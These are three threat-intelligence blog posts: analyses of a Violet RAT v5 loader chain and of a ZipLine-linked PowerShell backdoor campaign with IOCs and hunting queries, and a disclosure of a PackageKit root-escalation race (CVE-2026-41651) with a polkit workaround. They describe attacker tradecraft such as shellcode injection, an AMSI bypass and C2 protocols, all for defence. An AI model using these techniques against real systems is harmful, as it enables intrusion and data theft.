These files ended up in the staging directory.

File	Purpose
`encrypted_loader.py`	Python shellcode loader
`as_encrypted.bin`	AES CBC encrypted shellcode
`as_key.bin`	32 byte AES key followed by a 16 byte IV
`setup.log`	Execution log written by the loader chain

Artifacts Created During Loader Execution

One of the more useful artefacts recovered during sandbox analysis was setup.log, written to the staging directory.

%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\setup.log

The log ties the whole chain together. It records the setup of the embedded Python environment, the installation of dependencies, the extraction of the loader package, the download of the persistence script, and the final execution of encrypted_loader.py against as_encrypted.bin with explorer.exe as the injection target.

========================================
Execution started: Thu 04/07/2026 14:09:40.69
Working directory: C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Crypto\RSA\Cache
========================================

[+] Downloading Python...
[+] Extracting Python...
[DEBUG] Current directory: C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Crypto\RSA\Cache
[+] Installing pip...
[+] Installing psutil...
[+] Installing cryptography...
[+] Installing pyaes...

[+] Downloading loader package...
[+] Extracting package...

[+] Downloading persistence script...

[+] Checking files...
[+] All files found:
   - encrypted_loader.py
   - as_encrypted.bin
   - as_key.bin
[!] WARNING: Key file is 48 bytes (expected 48)

[+] Running loader...
Command: python encrypted_loader.py -f as_encrypted.bin explorer.exe
Execution start: 14:10:23.83
Execution end: 14:10:28.99
Exit code: 0
[+] SUCCESS: Shellcode execution completed!

File 5. setup.log

For defenders, the verbose logging is valuable, confirming that Python was downloaded, dependencies were installed, the package was extracted, persistence was staged, and shellcode execution finished with exit code 0.

Persistence

Persistence was established through the current user’s Startup folder.

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\CryptoLoader.lnk

The shortcut launched cmd.exe, changed into the staging directory, and ran the Python loader again. No registry Run key persistence was observed in this execution chain. Persistence was file-based and limited to the user profile.

Operating System      : Windows 8.1, 10
Target File Name      : cmd.exe
Description           : Windows Crypto Loader
Relative Path         : ..\..\..\..\..\..\..\..\..\Windows\system32\cmd.exe
Command Line Arguments: /c cd /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Crypto\RSA\Cache" && start /b python.exe encrypted_loader.py -f as_encrypted.bin explorer.exe

Output 1. ExifTool excerpt - CryptoLoader.lnk

Decryption and injection into explorer.exe

encrypted_loader.py read two local files, the AES CBC encrypted shellcode in as_encrypted.bin and the key material in as_key.bin (the 32 byte key plus 16 byte IV). After decryption, the loader identified the running explorer.exe process and used standard Windows process injection APIs, allocating remote memory, writing the process memory, and creating a remote thread.

The decrypted shellcode was identified as a Donut payload, which loaded the embedded Violet RAT v5 .NET assembly directly into memory. Donut is a shellcode generator commonly used to execute .NET assemblies and other payloads in-memory without writing the final stage to disk. To inspect and extract the embedded payload, we used the donut-decryptor tool published by Volexity.

Violet RAT v5 as the final payload

The decompiled Violet RAT v5 stub contained several high-signal artifacts.

Artifact	Value
C2 IP	`91.219.238[.]140`
C2 port	`7000/TCP`
Internal version	`Violet v5`
Mutex	`LApYAYSFOShHukHW`
Protocol delimiter	`<Violet>`
C2 packet label	`INFO`
Heartbeat	Client sends `PING?`, server responds `PING!`
C2 encryption	AES/Rijndael ECB using a key derived from `XSXSXSX`
XOR key	`TIeuNzM`

The initial C2 message contained a full system profile, including user name, operating system, privilege state, antivirus status, and the internal RAT version. The observed decrypted traffic confirmed successful communication with the C2 server during analysis.

The client to server message looked like this.

INFO<Violet>XXXXXXXXXXXXXXXXXXXX<Violet>Admin<Violet>Windows 11 Pro 64bit<Violet>Violet v5
<Violet>22/03/2022<Violet>True<Violet>False<Violet>None<Violet>Nothing<Violet>Nothing

Subsequent outbound traffic was the periodic heartbeat, PING? from the client answered with PING! from the server. The date value 22/03/2022 in the decrypted client profile appears to reflect host-derived operating system installation information and should not be interpreted as a campaign timestamp.

Violet RAT v5 is advertised as a commercial remote administration tool by the developer using the handle @n0xi0s, on websites such as violetrat[.]net and violetsoftware[.]net. Although the author presents Violet RAT v5 as dual-use software, its functionality aligns more closely with an offensive remote access tool than with legitimate administrative tooling. In the campaign analyzed here, Violet RAT v5 was used as the final payload in a phishing-driven malware chain.

Detection and hunting opportunities

The observed execution chain provides defenders with several hunting opportunities across network, host, and filesystem telemetry. The most durable detections are behavioural. Single domains and IP addresses change quickly, but the behavioural sequence from shortcut execution to WebDAV access, script staging, Python execution, and process injection is harder to replace without reworking the operation.

Network

Connections to 91.219.238[.]140:7000/TCP
Access to *.trycloudflare.com using WebDAV-style paths
Windows clients accessing DavWWWRoot over HTTPS from Explorer or script hosts
Dropbox downloads followed by .url or .lnk execution

Host

High signal process patterns

explorer.exe -> wscript.exe
wscript.exe -> cmd.exe
wscript.exe -> powershell.exe
cmd.exe -> powershell.exe -WindowStyle Hidden
cmd.exe -> python.exe
python.exe -> explorer.exe injection indicators

Additional behavioural detections

.url files opening remote file:// paths with @SSL and DavWWWRoot
.lnk files with PDF masquerading that execute wscript.exe
Script execution from WebDAV UNC paths
Portable Python runtimes installed below user-writable directories that resemble Windows system paths
Startup folder shortcuts launching command interpreters or Python loaders
Remote thread creation into explorer.exe from a Python process

Filesystem

Observed paths and files

%TEMP%\r.bat
%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\
%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\encrypted_loader.py
%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\as_encrypted.bin
%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\as_key.bin
%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\setup.log
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\CryptoLoader.lnk

ATT&CK techniques

Tactic	Technique	Observed behaviour	Detection idea
Initial Access	Phishing: Spearphishing Link (T1566.002)	Telekom invoice lure delivered a Dropbox link to a ZIP archive	Cloud links delivering shortcut files or document-themed archives
Execution	User Execution: Malicious Link (T1204.001)	Victim opened a `.url` file that reached WebDAV	`.url` execution opening remote `file://` paths
Execution	User Execution: Malicious File (T1204.002)	Victim opened a PDF-themed `.lnk` file	`.lnk` files with document extensions and script interpreter targets
Execution	Command and Scripting Interpreter: JScript (T1059.007)	JScript ran through WSH	`wscript.exe` or `cscript.exe` launched from WebDAV or user-writable paths
Execution	Command and Scripting Interpreter: Windows Command Shell (T1059.003)	Batch scripts launched the next stage	`cmd.exe` spawning interpreters or scripts from user-writable directories
Execution	Command and Scripting Interpreter: PowerShell (T1059.001)	PowerShell was used during the chain	`powershell.exe` with encoded or download commands spawned by scripts
Execution	Command and Scripting Interpreter: Python (T1059.006)	A Python runtime ran the loader	`python.exe` running scripts from `%APPDATA%` or temp
Command and Control	Ingress Tool Transfer (T1105)	Payload components were retrieved from WebDAV and public hosting during execution	Downloads of portable Python followed by script execution from user-writable paths
Defense Evasion	Masquerading: Double File Extension (T1036.007)	`DKM_00KS0095283.PDF.lnk` used a `.PDF.lnk` double extension	Files with double extensions such as `.pdf.lnk` or `.pdf.exe`
Defense Evasion	Masquerading: Masquerade File Type (T1036.008)	The `.lnk` used a PDF-themed name and icon	Shortcut or executable files using document icons
Persistence	Boot or Logon Autostart Execution: Startup Folder (T1547.001)	`CryptoLoader.lnk` was placed in the user’s Startup folder	Startup shortcuts launching `cmd.exe`, Python, or scripts from `%APPDATA%`
Defense Evasion	Deobfuscate/Decode Files or Information (T1140)	AES encrypted shellcode was decrypted locally using `as_key.bin`	Encrypted payload plus separate key material in suspicious user paths
Defense Evasion	Reflective Code Loading (T1620)	Donut loaded the embedded .NET assembly in-memory	Memory loaded .NET payloads with no final executable on disk
Defense Evasion	Process Injection (T1055)	Python loader injected Donut packed shellcode into `explorer.exe`	Python process using remote memory operations against Explorer
Command and Control	Non-Standard Port (T1571)	Violet RAT v5 connected to `91.219.238[.]140:7000`	Outbound TCP to uncommon ports from user workstations
Command and Control	Encrypted Channel (T1573)	Violet RAT v5 used encrypted C2 messages and heartbeat traffic	Repeated encrypted traffic with stable timing to an unusual destination

Recommendations

Hunt for execution through WebDAV from .url and .lnk files, especially paths using DavWWWRoot and *.trycloudflare.com.
Monitor script chains involving wscript.exe, cscript.exe, powershell.exe, cmd.exe, and portable Python runtimes launched from user-writable directories.
Detect persistence through Startup folder shortcuts that launch cmd.exe, Python, or scripts from %APPDATA%.
Hunt for the staging directory %APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\ and the filenames listed in the IOC section.
Block or monitor the observed C2 endpoint and related delivery infrastructure.
Treat cloud hosted archives that contain shortcut files as high risk, especially when paired with invoice themed social engineering.

Indicators of compromise

Network

Type	Value
C2 IP	`91.219.238[.]140`
C2 port	`7000/TCP`
Delivery URL	`hxxps://www.dropbox[.]com/scl/fi/rictefq1kw3lam7yvm8vz/Telekom_3426503572.zip`
WebDAV delivery domain	`move-friendly-international-observed.trycloudflare[.]com`
Payload package	`move-friendly-international-observed.trycloudflare[.]com/files.zip`

Files and paths

Type	Value
Delivery archive	`Telekom_3426503572.zip`
URL shortcut	`Telekom_3426503572.url`
Fake PDF LNK	`DKM_00KS0095283.PDF.lnk`
Temporary batch file	`%TEMP%\r.bat`
Staging directory	`%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\`
Setup log	`%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\setup.log`
Encrypted payload	`%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\as_encrypted.bin`
Key file	`%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\as_key.bin`
Loader script	`%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\encrypted_loader.py`
Persistence shortcut	`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\CryptoLoader.lnk`

Code-level artefacts

Type	Value
RAT mutex	`LApYAYSFOShHukHW`
Protocol delimiter	`<Violet>`
Internal version	`Violet v5`
AES key basis	`XSXSXSX`
XOR key	`TIeuNzM`

SHA256 hashes

Filename	SHA256
`Telekom_3426503572.zip`	`ba21ce348f8efda5a17fe7d52c123f4a272534b848f90dd12e702410bc0266d4`
`Telekom_3426503572.url`	`500ce5d0604f42137795bed1a03837e9fab1055c8db0b6ea5d7c6d64c5aa633a`
`DKM_00KS0095283.PDF.lnk`	`da55783ca9c4098e5ea47e33507bd38ae9851b6617b574d1fa294a6205cb143e`
`oa.wsh`	`e57fa4c2b241a133e349758630f3fc0b9dae8055268452d9b28c98638894ffea`
`ccv.js`	`0ddf4cfc3227294b849819d354479fcac848d85e881ae20014608554caf10cd9`
`final.bat`	`a78b29252a7954b588392b952b970da7ddb760cec7320ac4e8a50f79a8cf8f9b`
`add_to_startup.bat`	`717bb7be812fe4f57d4b7f1add1654b8a2dfb6063bd616cc26748039f247c43f`
`encrypted_loader.py`	`4a510219ffc0f5bc4acdf6e33d80d85d88155d88049cedaa00aaa9eed8051a3f`
`as_encrypted.bin`	`869b721401fd595867ea3320a2709d100751f8f9d25f8a59cc28af7169325131`
`as_key.bin`	`0c775d9263fff22c04d75d12b0a5d1a5b73c5a787a7dcdd34fabccdf9e0a0fe5`
`files.zip`	`a9ebfd647cb5930c3a19c3fd66f103c06019f43aa53b8d309d31682514a9cd60`
`as.dll`	`978a54a42629e0d19ef41bd5db7e560d618e1fdcc8e77c14694642840dfad8a2`
`payload.dat`	`f79b8924f58b1e98d221dfde52c4b1572dba251bbe65cd8bd44d342d70766a88`
`CryptoLoader.lnk`	`b0e033b35c17643a1d5a99b09cc43a9f0b83ab9c1ad0369f0e98f0745768ff87`

A machine-readable IOC file is available in the Telekom Security malware analysis repository.

Appendix

Scope and confidence

This report is based on static analysis, sandbox execution, decrypted network traffic, and review of recovered files from the delivery infrastructure.

Analyzed artifacts

Artefact	Type
`Telekom_3426503572.zip`	Phishing delivery archive
`Telekom_3426503572.url`	Windows Internet Shortcut
`DKM_00KS0095283.PDF.lnk`	Windows Shortcut
WebDAV share snapshot	Delivery infrastructure
`oa.wsh`, `ccv.js`, `final.bat`, `add_to_startup.bat`	Script stages
`encrypted_loader.py`	Python shellcode injector
`as_encrypted.bin`, `as_key.bin`	Encrypted payload and key material
Decompiled .NET assembly	Violet RAT v5 stub

Timeline

Date	Observation
2025-10-15	LNK metadata timestamps observed in `DKM_00KS0095283.PDF.lnk`. Reliability should be treated as limited
2026-01-20	`encrypted_loader.py` last modified timestamp observed in recovered package
2026-03-23	Payload and staging artefacts observed on WebDAV infrastructure
2026-03-24	`Telekom_3426503572.url` and ZIP delivery artefacts observed. First phishing email observed
Early April 2026	Phishing emails became available for analysis, and deeper technical analysis of the Violet RAT v5 campaign began

The reports below describe related tooling or overlapping tradecraft, and together they show how long this delivery pattern has been in circulation. They are useful context, not proof that every case belongs to the same actor or campaign.

Forcepoint X-Labs, January 2025. Dropbox, TryCloudflare WebDAV, and Python staging delivering AsyncRAT. forcepoint.com
Deutsche Telekom CERT, September 2025. Earlier public Rodent Weed reference. x.com/DTCERT
Trend Micro, January 2026. Multi-stage AsyncRAT campaign via MDR, covering Dropbox, TryCloudflare, WebDAV, embedded Python, Startup persistence, and Explorer injection. trendmicro.com
SonicWall, February 2026. Violet RAT campaign using a multi-stage Python loader and shellcode injection. sonicwall.com
Securonix, February 2026. VOID#GEIST, a Python loader with embedded runtime, encrypted RAT payloads, Startup persistence, and in-memory execution. securonix.com

ZipLine-linked spearphishing campaign uses PowerShell backdoor and Cloudflare Tunnel

2026-06-11T00:00:00+00:00

Telekom Security investigated a spearphishing campaign targeting organizations in several European countries. The campaign ultimately enables follow-on activity that, in at least one observed case, led to the deployment of Qilin ransomware. We are aware of multiple affected companies across different countries, most of them located in Austria. Not all of these organizations were encrypted, but at least one became a victim of Qilin ransomware. We assess this activity to be related to the ZipLine campaign, which was uncovered by Check Point Research in August 2025. While there are some differences in the current activity, the overall tradecraft shows multiple similarities, as described throughout this blog post.

For initial access, the attackers send targeted spearphishing emails containing a fake job offer and impersonating a legitimate recruiting agency. If the recipient shows interest, the attackers send a follow-up mail containing a URL that leads to the download of malware. The delivered malware is a .LNK file containing embedded PowerShell code. It installs a small PowerShell backdoor that allows the attacker to execute arbitrary commands on the affected system and stage additional payloads. We also observed the actor using Cloudflare Tunnel to hide potentially suspicious network traffic at compromised environments.

Attack description

Spearphishing emails

The actor sent well-crafted emails to a small number of recipients. The initial email did not contain any malicious attachment or link. Instead, it contained German-language text in which the sender claimed to represent a recruiting agency offered information about a potential interesting job opportunity.

Figure 1: Initial email with job offer

The domain alpentalent[.]at, used in this case, is one of several domains created by the attacker for this stage of the campaign. In addition to domains already known from earlier activity, we identified at least one additional domain associated with this campaign.

If victims visited the website, they were presented with a complete website designed to resemble a legitimate recruiting agency. The second domain we observed in this campaign, steinersearch[.]at, followed the same pattern. The actor appears to reuse an HTML template with only minor variations. The page structure and most of the text are similar across domains, while the visual design differs slightly.

Figure 2: Alpentalent fake website

Figure 3: SteinerSearch fake website

CERT.at recently reported multiple additional domains, indicating the campaign is still ongoing.

Once the victim replied to the email and expressed interest in receiving more information about the job opportunity, the actor sent a follow-up message. This message attempted to trick the victim into downloading a ZIP archive from a herokuapp[.]com subdomain.

Backdoor

The downloaded ZIP archive follows the naming pattern:

Dienstangebot_<LAST NAME>_<FIRST LETTER FIRST NAME>_<DATE>.zip

Following this pattern, we leveraged third-party telemetry to identify multiple files associated with the campaign, indicating with moderate confidence that the activity most likely began in mid-March 2026.

The archive contains two decoy Microsoft Word documents and a malicious .LNK file using a .docx.lnk double extension. In our case, the decoy documents contained information about alleged job opportunities at the German company Rossmann.

Figure 4: “Become part of Rossmann Austria” - decoy document with job information

Unlike the .LNK file, the two Microsoft Word documents do not contain malware. They are used solely as decoys to distract the victim.

The .LNK file executes a short but obfuscated PowerShell script. After deobfuscation, the script performs the following actions:

Searches for the original ZIP archive in these Locations:
- Downloads
- Documents
- Desktop
If the ZIP archive does not exist in one of these locations, or if the victim saved the downloaded file elsewhere, the malware stops execution.
Performs an AMSI bypass by replacing the AmsiUtils.ScanContent method pointer with a method pointer to a benign PowerShell method created solely for this purpose.
Reads the original downloaded ZIP archive as a raw file, searches for the marker string SwbWu, and extracts another PowerShell snippet hidden after this marker. The archive is not parsed as a ZIP container at this stage. The hidden snippet can be viewed and extracted with a hex editor.
- Executes the extracted PowerShell snippet.

Figure 5: Hex view of the ZIP archive. The marker string and PowerShell code are highlighted.

The content hidden inside the ZIP archive is the actual backdoor. Its capabilities are limited, but sufficient for an attacker to steal data or download additional payloads, or execute follow-on malware such as ransomware.

The backdoor performs the following actions:

Extracts the contents of the original ZIP archive to
```
%LOCALAPPDATA%\<ARCHIV FILENAME>
```
Opens the decoy document ROSSMANN_Kandidatenbrochure.docx to distract the victim.
Creates a scheduled task that runs every day at 11:00. This task executes the .LNK file and serves as the persistence mechanism. The name of the scheduled task is
```
<VICTIM-ID>c582
```
Creates a victim fingerprint:
- Victim ID: CRC32 of the value from
```
HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId
```
- Campaign ID: CRC32 of the original ZIP archive
Creates a Mutex named:
```
Global\<VictimID>
```
Constructs a domain name later used as the command and control server for the backdoor. This domain is also a herokuapp[.]com-subdomain.

Communicates with the C2 server using the following URL pattern:

https://*[.]herokuapp[.]com/<VictimID>c582<xor_hex(VictimID, "[]0")><unix_timestamp_hex><random_hex>

Requests this URL every four to six minutes. The HTTP response is decrypted using XOR with the Victim ID as the key and then evaluated.
Uses the following User-Agent string for C2 communication:
```
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
```
This is a valid User-Agent string for Google Chrome on Microsoft Windows 10. Chrome version 140 was published in September 2025.

The backdoor supports three C2 command types:

Command	Description
`#KILL`	Deletes the scheduled task and the malware directory.
`#HOST#<NEW_HOST>`	Defines a new C2 server.
Any other response	Interpreted and executed as PowerShell code

Cloudflare Tunnel

After the backdoor has been installed, the actor can execute arbitrary PowerShell code on the affected system. This creates opportunities for data theft, payload deployment, lateral movement, and ransomware staging.

In this campaign, we observed the actor installing Cloudflare Tunnel to hide suspicious network traffic and enable remote access.

Cloudflare Tunnel is a legitimate technology used to expose local services such as HTTP, SSH, or Remote Desktop via the Cloudflare network. It can also be used to make private networks accessible through a tunnel connection, for example by using WARP routing. In an intrusion context, this gives an attacker several options to interact with compromised systems while blending into traffic to a legitimate cloud provider.

For this setup, the attacker only needs the cloudflared executable, which is the server-side daemon used to connect a local service to the Cloudflare network.

In the observed case, the following artifacts were left on disk:

\Users\<USERNAME>\AppData\Local\Temp\cf

The directory contained:

cloudflared.exe
cert.pem, used for authentication
config.yaml, the tunnel configuration file
<TUNNEL ID>.json, the tunnel credentials file, perhaps multiple of them
An error log file, if errors occurred

These artifacts are valuable for forensic analysis, as they can help determine how the tunnel was configured and how it may have been used by the actor.

Conclusion

The observed activity demonstrates how a convincing spearphishing lure can develop into a ransomware-relevant intrusion path. The actor uses fake recruiting agencies, tailored job offers, decoy documents, and a lightweight PowerShell backdoor to establish initial access and maintain persistence.

While the malware itself is not complex, it provides the attacker with enough flexibility to execute arbitrary PowerShell code, deploy additional tools, and prepare follow-up activity. In at least one observed case, this attack chain ultimately led to Qilin ransomware deployment.

The campaign also shows the continued abuse of legitimate cloud services and tunneling technologies. Heroku-hosted infrastructure and Cloudflare Tunnel can make malicious activity harder to distinguish from normal cloud traffic, which increases the importance of behavioral detection and forensic artifact analysis.

Defenders should monitor for PowerShell execution from shortcut files, unusual scheduled tasks, unexpected cloudflared executions, and network connections to known attacker-controlled cloud infrastructure. The following section provides additional details to support hunting, investigation, and response.

Appendix

IOCs

Type	Value	Description
Domain	`alpentalent[.]at`	Phishing-Domain
Domain	`steinersearch[.]at`	Phishing-Domain
Domain	`headmatch[.]at`	Phishing-Domain
Domain	`vertrag-hm-ref3154-7e89a2ad95ad[.]herokuapp[.]com`	ZIP archive download domain
Domain	`sched-729-fdfd12d20ba1[.]herokuapp[.]com`	C2 domain
Domain	`assetscrm-04-6532d8371b2a.herokuapp.com`	C2 domain
Domain	`erpapp-091-e00eb01e7fba.herokuapp.com`	C2 domain
Domain	`clientportal-43-98f1d0f4b8d9.herokuapp.com`	C2 domain
Domain	`erpapp-071-00266c67b940.herokuapp.com`	C2 domain
User-Agent string	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36`	User-Agent string used for C2 communication
Directory	`\Users\<USERNAME>\AppData\Local\Temp\cf`	Directory which contains Cloudflare Tunnel files
SHA-256	`4578bc4b0b5eab3ac6e38d71bc1a086593b118c8bb221161d3fd27c5f5d00ea6`	Decoy document `2026_NDA_Datenschutzrichtlinie.docx`
SHA-256	`ee6c8422e4e723fe408ef6bbacfa852ae372e99ddf79e2fe38920017ec5e7674`	Decoy document `ROSSMANN_Kandidatenbrochure.docx`
SHA-256	`1067ffcb2b3f50d3769d05389e5d384abccc274c5433ee0fb27f6616dbf7d2c6`	Powershell script for tunnel start, `cloudflared-start.ps1`
SHA-256	`e00a9e9fed12f8a8f5703539c4662750dd5472d35c16dcbbdc5869f3fe5e238b`	Cloudflare tunnel executable, `cloudflared.exe`
File name	`Dienstangebot_<LAST NAME>_<FIRST LETTER FIRST NAME>_<DATE>.zip`	Naming pattern of downloaded ZIP archive
Scheduled Task	`<VICTIM-ID>c582`	Backdoor persistence
Mutex	`Global\<VictimID>`	Mutex created by backdoor
Email address	`elisabeth.muehlbacher@steinersearch.at`	known sender address
Email address	`marlies.hoermann@steinersearch.at`	known sender address
Email address	`caroline.hoeller@steinersearch.at`	known sender address
Email address	`maria.schroeder@alpentalent.at`	known sender address
Email address	`daniela.weiss@alpentalent.at`	known sender address
Email address	`michaela.jaeger@alpentalent.at`	known sender address
Email address	`petra.schoepf@alpentalent.at`	known sender address
Email address	`anna.gruber@headmatch.at`	known sender address

Please also visit the CERT.at website for additional IOCs.

Threat Hunting

The following queries for Microsoft Defender can be used to identify possible affected systems:

// Search for spearphishing emails:
let phishing_domains = dynamic(["steinersearch.at", "alpentalent.at", "headmatch.at"]); 
EmailEvents
| where (SenderFromDomain in (phishing_domains) or RecipientDomain in (phishing_domains)) 
or Subject contains " - Jobangebot: "

// Search for ZIP archives:
DeviceProcessEvents //DeviceFileEvents
| where FileName startswith "Dienstangebot_" and FileName endswith "-26.zip"

//Search for malicious URLs in Emails:
EmailUrlInfo
| where Url contains "herokuapp.com" and Url contains "vertrag"

//Search for Cloudflare tunnel software network communication:
DeviceNetworkEvents
| where InitiatingProcessFileName has "cloudflared"

MITRE ATT&CK Mapping

ID	Name
T1573	Encrypted Channel
T1071.001	Web Protocols
T1059.001	PowerShell
T1204.002	Malicious File
T1053.005	Scheduled Task
T1027	Obfuscated Files or Information
T1090.002	External Proxy
T1105	Ingress Tool Transfer
T1547.001	Registry Run Keys / Startup Folder
T1566.002	Spearphishing Link
T1082	System Information Discovery
T1041	Exfiltration Over C2 Channel

Pack2TheRoot (CVE-2026-41651): Cross-Distro Local Privilege Escalation Vulnerability

2026-04-22T00:00:00+00:00

Today we publicly disclose a high-severity vulnerability (CVSS 3.1: 8.8) - in coordination with distro maintainers - that affects multiple Linux distributions in their default installations. The Pack2TheRoot vulnerability can be exploited by any local unprivileged user to obtain root access on a vulnerable system.

The vulnerability lies in the PackageKit daemon, a cross-distro package management abstraction layer.

The vulnerability enables an unprivileged attacker to install or remove system packages without authorization. This can be exploited to gain full root access or compromise the system in other ways.

The Pack2TheRoot (CVE-2026-41651) vulnerability was discovered by Deutsche Telekom’s Red Team during targeted research into local privilege escalation vectors on modern Linux systems. PackageKit as a candidate initially caught our attention when we observed that a pkcon install command could install a system package without requiring a password on a Fedora Workstation. Starting in 2025, we began investigating whether this behavior could be abused to achieve arbitrary package installation. By guiding the AI-assisted research into a specific direction (using Claude Opus by Anthropic) we were able to discover an exploitable vulnerability. The finding was manually reviewed and verified before being responsibly reported to the PackageKit maintainers, who confirmed the issue and its exploitability.

Which versions and systems are vulnerable?

All PackageKit versions between >= 1.0.2 and <= 1.3.4 are vulnerable. Since PackageKit 1.0.2 was released over 12 years ago, this leaves a broad attack surface across Linux distributions. Exploitability has been explicitly tested and confirmed on the following distributions in default installations with apt and dnf package manager backends:

Ubuntu Desktop 18.04 (EOL), 24.04.4 (LTS), 26.04 (LTS beta).
Ubuntu Server 22.04 - 24.04 (LTS)
Debian Desktop Trixie 13.4
RockyLinux Desktop 10.1
Fedora 43 Desktop
Fedora 43 Server

It is reasonable to assume that all distributions that ship PackageKit with it enabled are vulnerable. Since PackageKit is an optional dependency of the Cockpit project, many servers with Cockpit installed might be vulnerable as well, including Red Hat Enterprise Linux (RHEL).

The vulnerability is fixed in PackageKit release 1.3.5 and distribution backports. Updates should be available from today 2026-04-22 12:00 CEST.

How to check if your system is vulnerable

It is not sufficient to simply grep through the process list, as PackageKit and Cockpit are not necessarily running as persistent processes as they can be activated on demand through D-Bus. First check if PackageKit is installed on your system and compare it with vulnerable versions, e.g.

dpkg -l | grep -i packagekit or
rpm -qa | grep -i packagekit

Note grep’s -i flag, as the package may be installed in camel case as PackageKit.

To check if the PackageKit daemon is available, run systemctl status packagekit or pkmon. If systemctl shows it as loaded or running or the PackageKit monitor tools show transaction output, the daemon is active and your system is potentially exploitable if unpatched. For PackageKit < 1.3.3 test pkmon, for versions >= 1.3.3 use pkgcli monitor to test for output.

Updated Packages

Despite of the fixed release 1.3.5, multiple Distributions released patched packages. In the following, we link the Distros package overviews, that show Distro specific patched versions.

Debian: https://security-tracker.debian.org/tracker/CVE-2026-41651
Ubuntu: https://bugs.launchpad.net/bugs/cve/2026-41651
Fedora 42 - 44: Fixed in PackageKit-1.3.4-3 https://koji.fedoraproject.org/koji/packageinfo?packageID=5206

Workaround

Disclaimer: The following workaround is provided “as is”, without warranty of any kind, express or implied. Use at your own risk. Test thoroughly in your environment before deploying to production systems.

This workaround has the sideffect that GUI software centers (GNOME Software, etc.) will no longer be able to install packages. Users must use sudo yum/dnf install from the terminal. Package installs via yum/dnf are unaffected since they don’t use PackageKit.

Systems that do not have an available patch, can be secured by deploying a PolicyKit rule file as a workaround. For polkit 0.106+ place a rulefile in /etc/polkit-1/rules.d/49-workaround-cve-2026-41651.rules:

// CVE-2026-41651 workaround: immediately deny PackageKit install actions
// without dispatching to an authentication agent.
// This prevents the transaction flag race by ensuring the polkit denial
// arrives before the scheduler's idle callback can fire.

polkit.addRule(function(action, subject) {
    if (action.id === "org.freedesktop.packagekit.package-install-untrusted" ||
        action.id === "org.freedesktop.packagekit.package-install" ||
        action.id === "org.freedesktop.packagekit.package-reinstall" ||
        action.id === "org.freedesktop.packagekit.package-downgrade" ||
        action.id === "org.freedesktop.packagekit.system-update") {

        // Allow root (uid 0) — needed for legitimate admin operations
        if (subject.uid === 0) {
            return polkit.Result.YES;
        }

        // Deny all non-root users immediately (no agent interaction)
        return polkit.Result.NO;
    }
});

Indicators of compromise (IOC)

Even though the vulnerability is reliably exploitable in seconds, it leaves traces that serve as a strong indicator of compromise. After successful exploitation, the PackageKit daemon hits an assertion failure and crashes. Systemd recovers the daemon on the next D-Bus invocation, preventing a denial-of-service, but the crash is observable in the system logs:

# journalctl --no-pager -u packagekit | grep -i emitted_finished
Apr 18 09:56:36 Rocky10 packagekitd[2082]: PackageKit:ERROR:../src/pk-transaction.c:514:pk_transaction_finished_emit: assertion failed: (!transaction->priv->emitted_finished)
Apr 18 09:56:36 Rocky10 packagekitd[2082]: Bail out! PackageKit:ERROR:../src/pk-transaction.c:514:pk_transaction_finished_emit: assertion failed: (!transaction->priv->emitted_finished)

Technical Details

The vulnerability is a time-of-check-time-of-use (TOCTOU) race condition in PackageKit’s D-Bus transaction handling.

PackageKit and Transaction Flags

PackageKit is a D-Bus system service that runs as root and delegates authorization to polkit. When a client wants to install a package, it creates a transaction object over D-Bus and calls a method such as InstallFiles(flags, [path]).

The flags parameter is a bitfield that controls the transaction’s behavior. Certain flag values (such as SIMULATE and ONLY_DOWNLOAD) cause PackageKit to skip polkit authorization entirely, because the operations they represent are considered safe: they should never modify the system.

The Root Cause

The core issue is that PackageKit’s transaction handler unconditionally overwrites the cached transaction flags on every InstallFiles call, without verifying the transaction’s current state. There is no guard ensuring the transaction is still in its initial state. A second call on the same transaction can overwrite the flags even after the transaction has already been authorized and is running.

PackageKit’s state machine does have a guard against backward state transitions, but it rejects them silently. The flag overwrite happens before the state transition is attempted, so the corrupted flags remain in effect while the transaction continues to run.

When the transaction is eventually executed, the scheduler reads the current value of the cached flags. If the safety flags have been stripped by a subsequent call, the backend performs a real operation instead of the originally authorized safe one.

GLib Event Loop Ordering

A key property that makes this exploitable is GLib’s main loop priority system: D-Bus messages are dispatched at a higher priority than idle callbacks. The scheduler executes transactions through idle callbacks, which means any pending D-Bus message is always processed first. This creates a reliable window for the flag overwrite to land before the transaction actually executes.

Proof-of-Concept

We have developed a working proof-of-concept that reliably exploits this vulnerability to achieve root code execution from an unprivileged local user on default installations of various distributions. However, the PoC code is not being shared publicly at this time for obvious reasons.

Credits

A huge thank you goes to PackageKit maintainer Matthias Klumpp (@ximion), for addressing this vulnerability quickly by creating a patch and for coordinating communication with the distribution maintainers. The vulnerability has been found and reported by Deutsche Telekom’s Red Team. If you have questions regarding the vulnerability or are interested in our security offerings, including Red Team assessments, feel free to contact [loading (JS)…].

Timeline

2026-04-08: Private report of the vulnerability to Red Hat (through Fedora) and PackageKit project
2026-04-10: Acknowledgement of receipt and plausibility of the vulnerability by PackageKit maintainer
2026-04-13: First draft of private patch by PackageKit maintainer Matthias Klumpp (@ximion)
2026-04-15: Informed Canonical about the issue
2026-04-15: Shared patch with Red Hat and Canonical
2026-04-19: Privately informed distribution vendors through distros mailing list, shared patch and publication date
2026-04-21: Reaffirmed the publication date with distribution maintainers
